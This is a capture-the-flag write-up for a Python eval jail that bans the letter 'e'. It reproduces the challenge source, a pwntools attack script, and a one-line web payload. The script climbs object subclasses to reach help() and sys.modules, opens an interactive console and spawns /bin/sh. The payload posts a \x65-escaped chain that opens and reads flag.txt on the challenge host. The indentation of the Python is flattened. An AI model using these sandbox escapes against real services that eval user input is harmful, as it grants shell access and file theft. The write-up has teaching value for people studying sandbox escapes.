#!/usr/local/bin/python3
import string
import html
code = input()
if any(c not in string.printable for c in code):
print("no tomfoolery!")
exit()
if "e" in code or "E" in code:
print("no 'e'!")
exit()
print(html.escape(repr(eval(code, {"__builtins__": {}}))))
Requirements:
e
or E
: Use list(x.__dict__)[index]
to find strings with e
in it and call it via x.__dict__[list(x.__dict__)[index]](args)
().__class__.__mro__[1].__subclasses__()
Steps:
__subclasses__
in type.__dict__
().__class__.__mro__[1].__subclasses__()
and find the indices of <class '_sitebuiltin._Helper'>
and <class '_sitebuiltin._Printer>
in ().__class__.__mro__[1].__subclasses__()
code
modulesys
module via <class '_sitebuiltin._Printer'>
and call sys.modules["code"].InteractiveConsole().interact()
Avoid e
and E
by using the x.__dict__[list(x.__dict__)[index]](args)
trick.
Attack script:
from pwn import *
import html
context(log_level="debug")
# Step 1. Find the index of `__subclasses__` in `type.__dict__`
p = process(["python3", "farquaad.py"])
# find type.__subclasses__
# list(type.__dict__)
# [].__class__: list
# ().__class__.__class__: type
p.sendline(b"[].__class__(().__class__.__class__.__dict__)")
res = p.recvline().decode()
res = html.unescape(res)
subclasses_index = res.split(", ").index("'__subclasses__'")
# Step 2. Call `().__class__.__mro__[1].__subclasses__()`
# and find the indices of `<class '_sitebuiltin._Helper'>` and `<class '_sitebuiltin._Printer>` in `().__class__.__mro__[1].__subclasses__()`
p = process(["python3", "farquaad.py"])
# type.__subclasses__(object)
# type.__subclasses__(().__class__.__mro__[1])
p.sendline(
(
"["
# type
+ "T:=().__class__.__class__,"
# "__subclasses__"
+ f"S:=[].__class__(T.__dict__)[{subclasses_index}],"
# type.__subclasses__(object)
+ "T.__dict__[S](().__class__.__mro__[1])"
+ "]"
).encode()
)
res = p.recvline().decode()
res = html.unescape(res)
helper_index = res.split(", ").index("<class '_sitebuiltins._Helper'>") - 2
printer_index = res.split(", ").index("<class '_sitebuiltins._Printer'>") - 2
print("Helper", helper_index)
print("Printer", printer_index)
# Step 3. Enter help() system and load `code` module
p = process(["python3", "farquaad.py"])
# invoke help()
p.sendline(
(
"["
# type
+ "T:=().__class__.__class__,"
# "__subclasses__"
+ f"S:=[].__class__(T.__dict__)[{subclasses_index}],"
# type.__subclasses__(object)[helper_index]()()
+ f"T.__dict__[S](().__class__.__mro__[1])[{helper_index}]()()"
+ "]"
).encode()
)
p.recvuntil(b"help> ")
p.sendline(b"code")
p.recvuntil(b"help> ")
# return to farquaad
p.sendline(b"farquaad")
# Step 4. Find `sys` module via `<class '_sitebuiltin._Printer'>`
# and call `sys.modules["code"].InteractiveConsole().interact()`
# launch code.InteractiveConsole().interact()
p.sendline(
(
"["
# type
+ "T:=().__class__.__class__,"
# "__subclasses__"
+ f"S:=[].__class__(T.__dict__)[{subclasses_index}],"
# type.__subclasses__(object)[printer_index].__init__.__globals__["sys"]
+ f"sys:=T.__dict__[S](().__class__.__mro__[1])[{printer_index}].__init__.__globals__['sys'],"
# "modules"
+ "M:=[x for x in sys.__dict__ if x.startswith('modul')][0],"
# "code"
+ "C:=[x for x in sys.__dict__[M] if x.startswith('cod')][-1],"
# code module
+ "c:=sys.__dict__[M][C],"
# "InteractiveConsole"
+ "I:=[x for x in c.__dict__ if 'Consol' in x][0],"
# "interact"
+ "i:=[x for x in c.__dict__[I].__dict__ if 'ract' in x][0],"
# code.InteractiveConsole.interact(code.InteractiveConsole())
+ "c.__dict__[I].__dict__[i](c.__dict__[I]()),"
+ "]"
).encode()
)
# in interactive shell
p.recvuntil(b">>> ")
p.sendline(b"import os")
p.sendline(b'os.system("/bin/sh")')
p.interactive()
import requests
base = "http://localhost:3000"
base = "https://farquaad.chall.lac.tf/"
url = lambda end: f"{base.rstrip('/')}{end}"
# below payload can be typed into web interface
payload = r"""
(o := ().__class__.__mro__[1], g := o.__dict__["__g\x65tattribut\x65__"], g(g(o, "__subclass\x65s__")()[138].__init__.__builtins__["op\x65n"]("flag.txt"), "r\x65ad")())[-1]
""".strip()
r = requests.post(url("/run"), json={"code": payload})
print(r.json()["msg"])
Replace e
with \x65
in strings:
>>> "\x65"
'e'
Attack steps:
o := ().__class__.__mro__[1]
, o is object
g := o.__dict__["__g\x65tattribut\x65__"]
, g is __getattribute__
g(g(o, "__subclass\x65s__")()[138].__init__.__builtins__["op\x65n"]("flag.txt"), "r\x65ad")()
is file = __getattribute__(object, "__subclasses__")()[138].__init__.__builtins__["open"]("flag.txt")
and __getattribute__(file, "read")()